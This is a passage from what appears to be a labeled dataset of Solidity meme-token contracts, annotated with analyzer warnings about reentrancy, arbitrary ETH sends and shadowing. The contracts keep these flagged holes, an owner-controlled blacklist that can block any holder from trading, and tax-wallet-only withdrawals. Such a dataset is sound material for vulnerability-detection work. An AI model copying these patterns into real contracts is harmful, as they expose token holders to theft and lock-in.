bad9bb6\n\t\t// reentrancy-benign | ID: d9aaeaa\n\t\t// reentrancy-eth | ID: b7cb0ff\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 0981293\n\t\t// reentrancy-events | ID: bad9bb6\n\t\t// reentrancy-eth | ID: b7cb0ff\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n swapEnabled = true;\n\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function send() external {\n require(_msgSender() == _taxWallet);\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_1025.sol",
"size_bytes": 19518,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Memebit is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n bool public transferDelayEnabled = true;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5370301): Memebit._taxWallet should be immutable \n\t// Recommendation for 5370301: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 08526c0): Memebit._initialBuyTax should be constant \n\t// Recommendation for 08526c0: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: adfa00a): Memebit._initialSellTax should be constant \n\t// Recommendation for adfa00a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 81808ef): Memebit._reduceBuyTaxAt should be constant \n\t// Recommendation for 81808ef: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 98bbc2a): Memebit._reduceSellTaxAt should be constant \n\t// Recommendation for 98bbc2a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 61caa1c): Memebit._preventSwapBefore should be constant \n\t// Recommendation for 61caa1c: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 690000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Memebit\";\n\n string private constant _symbol = unicode\"MEMEBIT\";\n\n uint256 public _maxTxAmount = 13800000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 13800000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 21f0eaa): Memebit._taxSwapThreshold should be constant \n\t// Recommendation for 21f0eaa: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 6900000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: b5d0c08): Memebit._maxTaxSwap should be constant \n\t// Recommendation for b5d0c08: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 6900000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2e502ce): Memebit.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2e502ce: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 67523ff): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 67523ff: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d43a891): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d43a891: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 67523ff\n\t\t// reentrancy-benign | ID: d43a891\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 67523ff\n\t\t// reentrancy-benign | ID: d43a891\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0c240c9): Memebit._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0c240c9: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: d43a891\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 67523ff\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5cc598c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5cc598c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0674eac): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0674eac: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 5cc598c\n\t\t\t\t// reentrancy-eth | ID: 0674eac\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 5cc598c\n\t\t\t\t\t// reentrancy-eth | ID: 0674eac\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 0674eac\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 0674eac\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 0674eac\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 5cc598c\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 0674eac\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 0674eac\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 5cc598c\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 5cc598c\n\t\t// reentrancy-events | ID: 67523ff\n\t\t// reentrancy-benign | ID: d43a891\n\t\t// reentrancy-eth | ID: 0674eac\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n transferDelayEnabled = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 934995d): Memebit.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 934995d: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 5cc598c\n\t\t// reentrancy-events | ID: 67523ff\n\t\t// reentrancy-eth | ID: 0674eac\n\t\t// arbitrary-send-eth | ID: 934995d\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c4d4c1c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c4d4c1c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: babb559): Memebit.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for babb559: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4ea1adc): Memebit.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 4ea1adc: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a42edce): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a42edce: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: c4d4c1c\n\t\t// reentrancy-eth | ID: a42edce\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: c4d4c1c\n\t\t// unused-return | ID: babb559\n\t\t// reentrancy-eth | ID: a42edce\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: c4d4c1c\n\t\t// unused-return | ID: 4ea1adc\n\t\t// reentrancy-eth | ID: a42edce\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: c4d4c1c\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: a42edce\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10250.sol",
"size_bytes": 19682,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Hoshino is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b694c5b): Hoshino._taxWallet should be immutable \n\t// Recommendation for b694c5b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 175e1cc): Hoshino._initialBuyTax should be constant \n\t// Recommendation for 175e1cc: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 65c7ab2): Hoshino._initialSellTax should be constant \n\t// Recommendation for 65c7ab2: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 28;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: facad64): Hoshino._reduceBuyTaxAt should be constant \n\t// Recommendation for facad64: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: 012e3c6): Hoshino._reduceSellTaxAt should be constant \n\t// Recommendation for 012e3c6: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: ae353c1): Hoshino._preventSwapBefore should be constant \n\t// Recommendation for ae353c1: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Ai Girl\";\n\n string private constant _symbol = unicode\"Hoshino\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: d85db98): Hoshino._taxSwapThreshold should be constant \n\t// Recommendation for d85db98: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1d4653f): Hoshino._maxTaxSwap should be constant \n\t// Recommendation for 1d4653f: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x08d5dB9998736b826744679BD301f1EE9F1e0707);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 56145d8): Hoshino.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 56145d8: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 719c651): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 719c651: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3519a11): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3519a11: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 719c651\n\t\t// reentrancy-benign | ID: 3519a11\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 719c651\n\t\t// reentrancy-benign | ID: 3519a11\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4e0c85a): Hoshino._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4e0c85a: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 3519a11\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 719c651\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7f24a7b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7f24a7b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 978cdcb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 978cdcb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 7f24a7b\n\t\t\t\t// reentrancy-eth | ID: 978cdcb\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) 